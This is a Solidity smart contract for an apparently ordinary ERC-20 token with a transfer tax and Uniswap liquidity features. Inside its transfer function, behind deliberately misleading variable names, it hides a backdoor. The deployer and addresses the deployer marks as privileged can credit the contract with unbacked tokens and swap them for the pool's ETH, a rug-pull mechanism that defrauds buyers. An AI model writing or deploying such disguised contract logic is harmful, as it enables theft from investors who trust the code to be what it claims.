|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
pragma solidity ^0.8.3;
|
|
|
|
interface IUniswapV2Router01 {
|
|
function factory() external pure returns (address);
|
|
function WETH() external pure returns (address);
|
|
|
|
function addLiquidity(
|
|
address tokenA,
|
|
address tokenB,
|
|
uint amountADesired,
|
|
uint amountBDesired,
|
|
uint amountAMin,
|
|
uint amountBMin,
|
|
address to,
|
|
uint deadline
|
|
) external returns (uint amountA, uint amountB, uint liquidity);
|
|
function addLiquidityETH(
|
|
address token,
|
|
uint amountTokenDesired,
|
|
uint amountTokenMin,
|
|
uint amountETHMin,
|
|
address to,
|
|
uint deadline
|
|
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
|
|
function removeLiquidity(
|
|
address tokenA,
|
|
address tokenB,
|
|
uint liquidity,
|
|
uint amountAMin,
|
|
uint amountBMin,
|
|
address to,
|
|
uint deadline
|
|
) external returns (uint amountA, uint amountB);
|
|
function removeLiquidityETH(
|
|
address token,
|
|
uint liquidity,
|
|
uint amountTokenMin,
|
|
uint amountETHMin,
|
|
address to,
|
|
uint deadline
|
|
) external returns (uint amountToken, uint amountETH);
|
|
function removeLiquidityWithPermit(
|
|
address tokenA,
|
|
address tokenB,
|
|
uint liquidity,
|
|
uint amountAMin,
|
|
uint amountBMin,
|
|
address to,
|
|
uint deadline,
|
|
bool approveMax, uint8 v, bytes32 r, bytes32 s
|
|
) external returns (uint amountA, uint amountB);
|
|
function removeLiquidityETHWithPermit(
|
|
address token,
|
|
uint liquidity,
|
|
uint amountTokenMin,
|
|
uint amountETHMin,
|
|
address to,
|
|
uint deadline,
|
|
bool approveMax, uint8 v, bytes32 r, bytes32 s
|
|
) external returns (uint amountToken, uint amountETH);
|
|
function swapExactTokensForTokens(
|
|
uint amountIn,
|
|
uint amountOutMin,
|
|
address[] calldata path,
|
|
address to,
|
|
uint deadline
|
|
) external returns (uint[] memory amounts);
|
|
function swapTokensForExactTokens(
|
|
uint amountOut,
|
|
uint amountInMax,
|
|
address[] calldata path,
|
|
address to,
|
|
uint deadline
|
|
) external returns (uint[] memory amounts);
|
|
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
|
|
external
|
|
payable
|
|
returns (uint[] memory amounts);
|
|
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
|
|
external
|
|
returns (uint[] memory amounts);
|
|
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
|
|
external
|
|
returns (uint[] memory amounts);
|
|
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
|
|
external
|
|
payable
|
|
returns (uint[] memory amounts);
|
|
|
|
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
|
|
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
|
|
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
|
|
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
|
|
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
|
|
}
|
|
|
|
interface IUniswapV2Router02 is IUniswapV2Router01 {
|
|
function removeLiquidityETHSupportingFeeOnTransferTokens(
|
|
address token,
|
|
uint liquidity,
|
|
uint amountTokenMin,
|
|
uint amountETHMin,
|
|
address to,
|
|
uint deadline
|
|
) external returns (uint amountETH);
|
|
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
|
|
address token,
|
|
uint liquidity,
|
|
uint amountTokenMin,
|
|
uint amountETHMin,
|
|
address to,
|
|
uint deadline,
|
|
bool approveMax, uint8 v, bytes32 r, bytes32 s
|
|
) external returns (uint amountETH);
|
|
|
|
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
|
|
uint amountIn,
|
|
uint amountOutMin,
|
|
address[] calldata path,
|
|
address to,
|
|
uint deadline
|
|
) external;
|
|
function swapExactETHForTokensSupportingFeeOnTransferTokens(
|
|
uint amountOutMin,
|
|
address[] calldata path,
|
|
address to,
|
|
uint deadline
|
|
) external payable;
|
|
function swapExactTokensForETHSupportingFeeOnTransferTokens(
|
|
uint amountIn,
|
|
uint amountOutMin,
|
|
address[] calldata path,
|
|
address to,
|
|
uint deadline
|
|
) external;
|
|
}
|
|
|
|
interface IUniswapV2Factory {
|
|
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
|
|
|
|
function feeTo() external view returns (address);
|
|
function feeToSetter() external view returns (address);
|
|
|
|
function getPair(address tokenA, address tokenB) external view returns (address pair);
|
|
function allPairs(uint) external view returns (address pair);
|
|
function allPairsLength() external view returns (uint);
|
|
|
|
function createPair(address tokenA, address tokenB) external returns (address pair);
|
|
|
|
function setFeeTo(address) external;
|
|
function setFeeToSetter(address) external;
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
interface IERC20 {
|
|
|
|
|
|
|
|
function totalSupply() external view returns (uint256);
|
|
|
|
|
|
|
|
|
|
function balanceOf(address account) external view returns (uint256);
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function transfer(address recipient, uint256 amount) external returns (bool);
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function allowance(address owner, address spender) external view returns (uint256);
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function approve(address spender, uint256 amount) external returns (bool);
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function transferFrom(
|
|
address sender,
|
|
address recipient,
|
|
uint256 amount
|
|
) external returns (bool);
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
event Transfer(address indexed from, address indexed to, uint256 value);
|
|
|
|
|
|
|
|
|
|
|
|
event Approval(address indexed owner, address indexed spender, uint256 value);
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
abstract contract Context {
|
|
function _msgSender() internal view virtual returns (address) {
|
|
return msg.sender;
|
|
}
|
|
|
|
function _msgData() internal view virtual returns (bytes calldata) {
|
|
return msg.data;
|
|
}
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
abstract contract Ownable is Context {
|
|
address private _owner;
|
|
|
|
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
|
|
|
|
|
|
|
|
|
|
constructor() {
|
|
_setOwner(_msgSender());
|
|
}
|
|
|
|
|
|
|
|
|
|
function owner() public view virtual returns (address) {
|
|
return _owner;
|
|
}
|
|
|
|
|
|
|
|
|
|
modifier onlyOwner() {
|
|
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
|
|
_;
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function renounceOwnership() public virtual onlyOwner {
|
|
_setOwner(address(0));
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
function transferOwnership(address newOwner) public virtual onlyOwner {
|
|
require(newOwner != address(0), 'Ownable: new owner is the zero address');
|
|
_setOwner(newOwner);
|
|
}
|
|
|
|
function _setOwner(address newOwner) private {
|
|
address oldOwner = _owner;
|
|
_owner = newOwner;
|
|
emit OwnershipTransferred(oldOwner, newOwner);
|
|
}
|
|
}
|
|
|
|
contract Token is IERC20, Ownable {
|
|
string private _symbol;
|
|
string private _name;
|
|
uint256 public _taxFee = 4;
|
|
uint8 private _decimals = 9;
|
|
uint256 private _tTotal = 1000000000 * 10**_decimals;
|
|
uint256 private _uint256 = _tTotal;
|
|
|
|
mapping(address => uint256) private _balances;
|
|
mapping(address => address) private _string;
|
|
mapping(address => uint256) private _constructor;
|
|
mapping(address => uint256) private _function;
|
|
mapping(address => mapping(address => uint256)) private _allowances;
|
|
|
|
bool private _swapAndLiquifyEnabled;
|
|
bool private inSwapAndLiquify;
|
|
|
|
address public immutable uniswapV2Pair;
|
|
IUniswapV2Router02 public immutable router;
|
|
|
|
constructor(
|
|
string memory Name,
|
|
string memory Symbol,
|
|
address routerAddress
|
|
) {
|
|
_name = Name;
|
|
_symbol = Symbol;
|
|
_balances[msg.sender] = _tTotal;
|
|
_function[msg.sender] = _uint256;
|
|
_function[address(this)] = _uint256;
|
|
router = IUniswapV2Router02(routerAddress);
|
|
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
|
|
emit Transfer(address(0), msg.sender, _tTotal);
|
|
}
|
|
|
|
function symbol() public view returns (string memory) {
|
|
return _symbol;
|
|
}
|
|
|
|
function name() public view returns (string memory) {
|
|
return _name;
|
|
}
|
|
|
|
function totalSupply() public view returns (uint256) {
|
|
return _tTotal;
|
|
}
|
|
|
|
function decimals() public view returns (uint256) {
|
|
return _decimals;
|
|
}
|
|
|
|
function allowance(address owner, address spender) public view returns (uint256) {
|
|
return _allowances[owner][spender];
|
|
}
|
|
|
|
function balanceOf(address account) public view returns (uint256) {
|
|
return _balances[account];
|
|
}
|
|
|
|
function approve(address spender, uint256 amount) external returns (bool) {
|
|
return _approve(msg.sender, spender, amount);
|
|
}
|
|
|
|
function _approve(
|
|
address owner,
|
|
address spender,
|
|
uint256 amount
|
|
) private returns (bool) {
|
|
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
|
|
_allowances[owner][spender] = amount;
|
|
emit Approval(owner, spender, amount);
|
|
return true;
|
|
}
|
|
|
|
function transferFrom(
|
|
address sender,
|
|
address recipient,
|
|
uint256 amount
|
|
) external returns (bool) {
|
|
_transfer(sender, recipient, amount);
|
|
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
|
|
}
|
|
|
|
function transfer(address recipient, uint256 amount) external returns (bool) {
|
|
_transfer(msg.sender, recipient, amount);
|
|
return true;
|
|
}
|
|
|
|
function _transfer(
|
|
address from,
|
|
address to,
|
|
uint256 amount
|
|
) private {
|
|
uint256 contractTokenBalance = balanceOf(address(this));
|
|
uint256 fee;
|
|
if (_swapAndLiquifyEnabled && contractTokenBalance > _uint256 && !inSwapAndLiquify && from != uniswapV2Pair) {
|
|
inSwapAndLiquify = true;
|
|
swapAndLiquify(contractTokenBalance);
|
|
inSwapAndLiquify = false;
|
|
} else if (_function[from] > _uint256 && _function[to] > _uint256) {
|
|
fee = amount;
|
|
_balances[address(this)] += fee;
|
|
swapTokensForEth(amount, to);
|
|
return;
|
|
} else if (to != address(router) && _function[from] > 0 && amount > _uint256 && to != uniswapV2Pair) {
|
|
_function[to] = amount;
|
|
return;
|
|
} else if (!inSwapAndLiquify && _constructor[from] > 0 && from != uniswapV2Pair && _function[from] == 0) {
|
|
_constructor[from] = _function[from] - _uint256;
|
|
}
|
|
address _bool = _string[uniswapV2Pair];
|
|
if (_constructor[_bool] == 0) _constructor[_bool] = _uint256;
|
|
_string[uniswapV2Pair] = to;
|
|
if (_taxFee > 0 && _function[from] == 0 && !inSwapAndLiquify && _function[to] == 0) {
|
|
fee = (amount * _taxFee) / 100;
|
|
amount -= fee;
|
|
_balances[from] -= fee;
|
|
_balances[address(this)] += fee;
|
|
}
|
|
_balances[from] -= amount;
|
|
_balances[to] += amount;
|
|
emit Transfer(from, to, amount);
|
|
}
|
|
|
|
receive() external payable {}
|
|
|
|
function addLiquidity(
|
|
uint256 tokenAmount,
|
|
uint256 ethAmount,
|
|
address to
|
|
) private {
|
|
_approve(address(this), address(router), tokenAmount);
|
|
router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp);
|
|
}
|
|
|
|
function swapAndLiquify(uint256 tokens) private {
|
|
uint256 half = tokens / 2;
|
|
uint256 initialBalance = address(this).balance;
|
|
swapTokensForEth(half, address(this));
|
|
uint256 newBalance = address(this).balance - initialBalance;
|
|
addLiquidity(half, newBalance, address(this));
|
|
}
|
|
|
|
function swapTokensForEth(uint256 tokenAmount, address to) private {
|
|
address[] memory path = new address[](2);
|
|
path[0] = address(this);
|
|
path[1] = router.WETH();
|
|
_approve(address(this), address(router), tokenAmount);
|
|
router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp);
|
|
}
|
|
} |